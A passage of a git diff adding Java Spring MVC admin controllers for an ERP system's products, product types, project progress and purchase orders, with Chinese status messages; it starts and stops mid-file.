} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/select")
|
||||
public String dialogSelect() {
|
||||
return "/product/dialog/select";
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
@ResponseBody
|
||||
public RespData listAll(Long productTypeId, String search) {
|
||||
try {
|
||||
ProductType productType = productTypeService.find(productTypeId);
|
||||
List<ProductBaseDTO> list = productService.listAll(productType != null ? productType.getChain() : null, search);
|
||||
return RespData.success(list);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("获取失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/selectPage")
|
||||
@ResponseBody
|
||||
public RespData selectPage(Pageable pageable) {
|
||||
return RespData.success(productService.selectPage(pageable));
|
||||
}
|
||||
|
||||
@RequestMapping("/forecastInventory")
|
||||
public String forecastInventory(ModelMap modelMap, Pageable pageable, String name) {
|
||||
if (StringUtils.isNotBlank(name)) {
|
||||
pageable.setFilters(Collections.singletonList(Filter.like("name", "%" + name + "%")));
|
||||
}
|
||||
Page<Product> page = productService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Product product : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", product.getId());
|
||||
map.put("name", product.getName());
|
||||
|
||||
BigDecimal count = BigDecimal.ZERO;
|
||||
List<PurchaseOrderItem> purchaseOrderItemList = purchaseOrderItemService.findList(null, Arrays.asList(
|
||||
Filter.eq("productId", product.getId()),
|
||||
Filter.in("purchaseOrder.status", Arrays.asList(OrderStatus.approved, OrderStatus.completed))
|
||||
), null);
|
||||
for (PurchaseOrderItem purchaseOrderItem : purchaseOrderItemList) {
|
||||
if (purchaseOrderItem.getCount() != null) {
|
||||
count = count.add(purchaseOrderItem.getCount());
|
||||
}
|
||||
}
|
||||
map.put("count", count.setScale(3, RoundingMode.HALF_UP));
|
||||
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
modelMap.addAttribute("name", name);
|
||||
modelMap.addAttribute("page", new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
return "/product/forecastInventory";
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.ProductType;
|
||||
import com.vverp.moli.util.Order;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.ProductTypeService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/3/11 9:34 上午
|
||||
*/
|
||||
@Controller("adminProductTypeController")
|
||||
@RequestMapping("/admin/productType")
|
||||
public class ProductTypeController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list() {
|
||||
return "/productType/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
@ResponseBody
|
||||
public RespData listAll() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("list", productTypeService.findList(null, null, Collections.singletonList(Order.asc("sortFactor"))));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, String level, String parentId) {
|
||||
modelMap.addAttribute("level", level);
|
||||
modelMap.addAttribute("parentId", parentId);
|
||||
return "/productType/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("productType", productTypeService.find(id));
|
||||
return "/productType/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(ProductType productType) {
|
||||
try {
|
||||
productTypeService.saveProductType(productType);
|
||||
}catch (Exception e){
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(ProductType productType) {
|
||||
try {
|
||||
productTypeService.updateProductType(productType);
|
||||
}catch (Exception e){
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public RespData delete(Long id) {
|
||||
ProductType productType = productTypeService.find(id);
|
||||
try {
|
||||
productTypeService.deleteProductType(productType);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/selectTree")
|
||||
@ResponseBody
|
||||
public RespData selectTree() {
|
||||
return RespData.success(productTypeService.productTypeTree());
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("getChild")
|
||||
@ResponseBody
|
||||
public RespData getChild(Long id){
|
||||
return RespData.success(productTypeService.findByParent(id));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Progress;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.ProgressService;
|
||||
import com.vverp.service.ProgressUnitService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
@RequestMapping("admin/progress")
|
||||
@Controller("adminProgress")
|
||||
public class ProgressController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
@Resource
|
||||
private ProgressUnitService progressUnitService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<Progress> page = progressService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "progress/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
modelMap.addAttribute("unitList",progressUnitService.findAll());
|
||||
return "progress/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(Long id,ModelMap modelMap){
|
||||
Progress progress = progressService.find(id);
|
||||
modelMap.addAttribute("unitList",progressUnitService.findAll());
|
||||
modelMap.addAttribute("progress",progress);
|
||||
return "progress/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(Progress progress){
|
||||
if(progress.getCode() == null){
|
||||
return RespData.error("项目号不能为空");
|
||||
}
|
||||
if (progressService.findByCode(progress.getCode(),null,null) != null){
|
||||
return RespData.error("项目号已存在");
|
||||
}
|
||||
if(progress.getName() == null){
|
||||
return RespData.error("项目名称不能为空");
|
||||
}
|
||||
if (progressService.findByCode(null,progress.getName(),null) != null){
|
||||
return RespData.error("项目名称已存在");
|
||||
}
|
||||
progressService.save(progress);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(Progress progress){
|
||||
if(progress.getCode() == null){
|
||||
return RespData.error("项目号不能为空");
|
||||
}
|
||||
if (progressService.findByCode(progress.getCode(),null,progress.getId()) != null){
|
||||
return RespData.error("项目号已存在");
|
||||
}
|
||||
if(progress.getName() == null){
|
||||
return RespData.error("项目名称不能为空");
|
||||
}
|
||||
if (progressService.findByCode(null,progress.getName(),progress.getId()) != null){
|
||||
return RespData.error("项目名称已存在");
|
||||
}
|
||||
progressService.update(progress);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids){
|
||||
progressService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.ProgressUnit;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.ProgressUnitService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/progressUnit")
|
||||
@Controller("adminProgressUnit")
|
||||
public class ProgressUnitController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private ProgressUnitService progressUnitService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<ProgressUnit> page = progressUnitService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "progressUnit/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "progressUnit/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
ProgressUnit progressUnit = progressUnitService.find(id);
|
||||
modelMap.addAttribute("progressUnit",progressUnit);
|
||||
return "progressUnit/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(ProgressUnit progressUnit){
|
||||
if (progressUnit.getName() == null){
|
||||
return RespData.error("名称不能为空");
|
||||
}
|
||||
if (progressUnitService.findByAttribute("name",progressUnit.getName())!= null){
|
||||
return RespData.error("单位已存在");
|
||||
}
|
||||
progressUnitService.save(progressUnit);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(ProgressUnit progressUnit){
|
||||
if (progressUnit.getName() == null){
|
||||
return RespData.error("名称不能为空");
|
||||
}
|
||||
ProgressUnit unit =progressUnitService.findByAttribute("name",progressUnit.getName());
|
||||
if (unit!= null && !unit.getId().equals(progressUnit.getId())){
|
||||
return RespData.error("单位已存在");
|
||||
}
|
||||
progressUnitService.update(progressUnit);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
progressUnitService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,391 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.config.wx.TemplateMessageContract;
|
||||
import com.vverp.constant.MainConstant;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.dto.TemplateDTO;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.ContractType;
|
||||
import com.vverp.enums.DeliveryType;
|
||||
import com.vverp.enums.OrderCategory;
|
||||
import com.vverp.enums.OrderStatus;
|
||||
import com.vverp.moli.util.*;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.Amount2RMB;
|
||||
import com.vverp.util.CreatePageUtil;
|
||||
import com.vverp.util.DateUtil;
|
||||
import org.apache.commons.lang.BooleanUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.math.BigDecimal;
|
||||
import java.math.RoundingMode;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020-03-25 16:50
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/purchaseApplyOrder")
|
||||
public class PurchaseApplyOrderController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderService purchaseApplyOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private OrderTool orderTool;
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderItemService purchaseApplyOrderItemService;
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderItemPriceService purchaseApplyOrderItemPriceService;
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private AdminPurchaseService adminPurchaseService;
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",orderQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
if (orderQuery.getProgressId() == null) {
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
if (admin.getNowProgress() == null) {
|
||||
modelMap.addAttribute("company",true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
Supplier adminSupplier = null;
|
||||
if(admin.getSupplierList().size()>0){
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("supplier",false);
|
||||
if (adminSupplier != null) {
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
modelMap.addAttribute("supplier",true);
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseApplyOrder.class, purchaseApplyOrderService, purchaseApplyOrderItemService);
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
// modelMap.addAttribute("contractTypes", ContractType.values());
|
||||
// modelMap.addAttribute("contractType", orderQuery.getContractType());
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
modelMap.addAttribute("type", orderQuery.getApplyType());
|
||||
modelMap.addAttribute("orderQuery", orderQuery);
|
||||
return "/purchaseApplyOrder/" + orderQuery.getApplyType().name() + "/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap, PurchaseApplyOrder.Type type) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
if (type.equals(PurchaseApplyOrder.Type.device)) {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.device));
|
||||
} else {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.conduit));
|
||||
}
|
||||
return "/purchaseApplyOrder/" + type.name() + "/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public String view(ModelMap modelMap, Long id, Integer nowVersion, Integer oldVersion, Boolean showDifferent,String key,String value) {
|
||||
modelMap.addAttribute("key",key==null?" ":key);
|
||||
modelMap.addAttribute("value",value);
|
||||
PurchaseApplyOrder purchaseApplyOrder = purchaseApplyOrderService.find(id);
|
||||
if (nowVersion == null) {
|
||||
nowVersion = purchaseApplyOrder.getVersionNum();
|
||||
}
|
||||
List<PurchaseApplyOrderItem> itemList = purchaseApplyOrderItemService.findByVersionNum(nowVersion,id);
|
||||
Map<Integer,Object> map = new HashMap<>();
|
||||
if (showDifferent != null && showDifferent) {
|
||||
List<PurchaseApplyOrderItem> oldList = purchaseApplyOrderItemService.findByVersionNum(oldVersion,id);
|
||||
for (PurchaseApplyOrderItem orderItem : oldList){
|
||||
map.put(orderItem.getInd(),orderItem);
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("map",map);
|
||||
purchaseApplyOrder.setPurchaseApplyOrderItemList(itemList);
|
||||
List<Integer> versionList = new ArrayList<>();
|
||||
List<Integer> allVersionList = new ArrayList<>();
|
||||
for (Integer i = nowVersion; i >= 0; i--) {
|
||||
versionList.add(i);
|
||||
}
|
||||
for (Integer i = purchaseApplyOrder.getVersionNum(); i >= 0; i--) {
|
||||
allVersionList.add(i);
|
||||
}
|
||||
modelMap.addAttribute("allVersionList", allVersionList);
|
||||
modelMap.addAttribute("versionList", versionList);
|
||||
modelMap.addAttribute("oldVersion", oldVersion);
|
||||
modelMap.addAttribute("nowVersion", nowVersion);
|
||||
modelMap.addAttribute("purchaseApplyOrder", purchaseApplyOrder);
|
||||
modelMap.addAttribute("type", purchaseApplyOrder.getType());
|
||||
modelMap.addAttribute("showDifferent",BooleanUtils.isTrue(showDifferent));
|
||||
return "/purchaseApplyOrder/" + purchaseApplyOrder.getType().name() + "/view";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
PurchaseApplyOrder purchaseApplyOrder = purchaseApplyOrderService.find(id);
|
||||
List<PurchaseApplyOrderItem> itemList = purchaseApplyOrderItemService.findByVersionNum(purchaseApplyOrder.getVersionNum(),id);
|
||||
Admin admin = adminService.getCurrent();
|
||||
boolean supplierFlag = false;
|
||||
for (Role role : admin.getRoles()){
|
||||
if (role.getChineseName().equals("供应商")){
|
||||
supplierFlag = true;
|
||||
}
|
||||
}
|
||||
if (!supplierFlag){
|
||||
for (PurchaseApplyOrderItem item : itemList){
|
||||
List<AdminPurchase> adminPurchaseList = adminPurchaseService.findByAdmin(admin.getId(),item.getProductTypeId(),admin.getNowProgress());
|
||||
ProductType productType = productTypeService.find(item.getProductTypeId());
|
||||
if (productType != null && productType.getParentId() != null) {
|
||||
List<AdminPurchase> adminPurchaseList2 = adminPurchaseService.findByAdmin(admin.getId(), productType.getParentId(),admin.getNowProgress());
|
||||
adminPurchaseList.addAll(adminPurchaseList2);
|
||||
}
|
||||
if (adminPurchaseList.size()>0){
|
||||
item.setCanChangePrice(true);
|
||||
}else {
|
||||
item.setCanChangePrice(false);
|
||||
// ProductType productType = productTypeService.find(item.getProductTypeId());
|
||||
// if (productType.getParentId() != null && admin.getProductTypeIds().contains(productType.getParentId())) {
|
||||
// item.setCanChangePrice(true);
|
||||
// }
|
||||
}
|
||||
}
|
||||
}else {
|
||||
for (PurchaseApplyOrderItem item : itemList){
|
||||
item.setCanChangePrice(true);
|
||||
}
|
||||
}
|
||||
purchaseApplyOrder.setPurchaseApplyOrderItemList(itemList);
|
||||
modelMap.addAttribute("purchaseApplyOrder", purchaseApplyOrder);
|
||||
modelMap.addAttribute("type", purchaseApplyOrder.getType());
|
||||
|
||||
if (purchaseApplyOrder.getType().equals(PurchaseApplyOrder.Type.device)) {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.device));
|
||||
} else {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.conduit));
|
||||
}
|
||||
return "/purchaseApplyOrder/" + purchaseApplyOrder.getType().name() + "/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(PurchaseApplyOrder purchaseApplyOrder) {
|
||||
try {
|
||||
purchaseApplyOrder.setVersionNum(0);
|
||||
purchaseApplyOrderService.savePurchaseApplyOrder(purchaseApplyOrder);
|
||||
return RespData.success("保存成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(PurchaseApplyOrder purchaseApplyOrder) {
|
||||
try {
|
||||
// purchaseApplyOrderService.updatePurchaseApplyOrder(purchaseApplyOrder);
|
||||
purchaseApplyOrderService.updatePrice(purchaseApplyOrder);
|
||||
return RespData.success("保存成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
purchaseApplyOrderService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/exportSupplier")
|
||||
public void exportSupplier(HttpServletResponse response, Long id) throws Exception {
|
||||
// purchaseApplyOrderService.exportSupplier(response, id);
|
||||
purchaseApplyOrderService.exportSupplierSingle(response, id);
|
||||
}
|
||||
|
||||
//批量导出报价单
|
||||
@RequestMapping("/exportSupplierSingleAll")
|
||||
public void exportSupplierSingleAll(HttpServletResponse response, Long[] ids) throws Exception {
|
||||
// purchaseApplyOrderService.exportSupplier(response, id);
|
||||
purchaseApplyOrderService.exportSupplierSingleAll(response, ids);
|
||||
}
|
||||
|
||||
//批量发送报价单
|
||||
@RequestMapping("/sendSupplierAll")
|
||||
@ResponseBody
|
||||
public Message sendSupplierAll( Long[] ids) throws Exception {
|
||||
try {
|
||||
purchaseApplyOrderService.sendSupplierAll(ids);
|
||||
return Message.success("发送成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return Message.error("发送失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addPrice")
|
||||
public String dialogAddPrice(Long id, ModelMap modelMap) {
|
||||
modelMap.addAttribute("id", id);
|
||||
return "purchaseApplyOrder/dialog/addPrice";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/priceView")
|
||||
public String dialogPriceView(Long id, ModelMap modelMap) {
|
||||
PurchaseApplyOrderItem item = purchaseApplyOrderItemService.find(id);
|
||||
modelMap.addAttribute("list", item.getPurchaseApplyOrderItemPriceList());
|
||||
return "purchaseApplyOrder/dialog/priceView";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入报价单
|
||||
*/
|
||||
@RequestMapping(value = "/uploadExcel", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData uploadExcel(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
purchaseApplyOrderItemPriceService.ExcelSendData(file);
|
||||
return RespData.success("发货成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("confirmSupplier")
|
||||
@ResponseBody
|
||||
public RespData confirmSupplier(Long id) {
|
||||
purchaseApplyOrderItemPriceService.confirmSupplier(id);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile (ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId",admin.getId());
|
||||
return "purchaseApplyOrder/dialog/addFile";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入请购单
|
||||
*/
|
||||
@RequestMapping(value = "/uploadOrderExcel", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData uploadOrderExcel(MultipartFile file,Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
purchaseApplyOrderService.saveFile(file,adminId);
|
||||
return RespData.success("发货成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("createByMaterial")
|
||||
@ResponseBody
|
||||
public RespData createByMaterial(String ids,String preTitle,Integer flowNum,Long adminId,Long[] bigTypeIds,Long[] smallTypeIds){
|
||||
try {
|
||||
purchaseApplyOrderService.createByMaterial(ids,preTitle,flowNum,adminId,bigTypeIds, smallTypeIds);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response,OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Supplier adminSupplier = null;
|
||||
if(admin.getSupplierList().size()>0){
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
}
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
purchaseApplyOrderService.export(response,orderQuery);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,893 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.*;
|
||||
import com.vverp.moli.util.*;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.Amount2RMB;
|
||||
import com.vverp.util.CreatePageUtil;
|
||||
import org.apache.commons.lang.BooleanUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.math.BigDecimal;
|
||||
import java.math.RoundingMode;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020-03-25 16:50
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/purchaseOrder")
|
||||
public class PurchaseOrderController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private OrderTool orderTool;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderItemService purchaseOrderItemService;
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderService materialOrderService;
|
||||
@Resource
|
||||
private MaterialOrderItemService materialOrderItemService;
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@Resource
|
||||
private SupplierCspService supplierCspService;
|
||||
|
||||
// 采购管理-订货管理-合同签订状态(订货管理)
|
||||
@RequestMapping("/orderList")
|
||||
public String orderList(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
for (PurchaseOrder purchaseOrder : page.getContent()) {
|
||||
map.put(purchaseOrder.getId(), purchaseOrderItemService.purchaseOrderStatus(purchaseOrder.getId(), null));
|
||||
|
||||
Map<String, Object> lm = new HashMap<>();
|
||||
lm.put("finishRate", "0%");
|
||||
BigDecimal totalCount = purchaseOrder.getTotalCount();
|
||||
BigDecimal completedCount = purchaseOrderItemService.sumInboundCount(purchaseOrder.getId());
|
||||
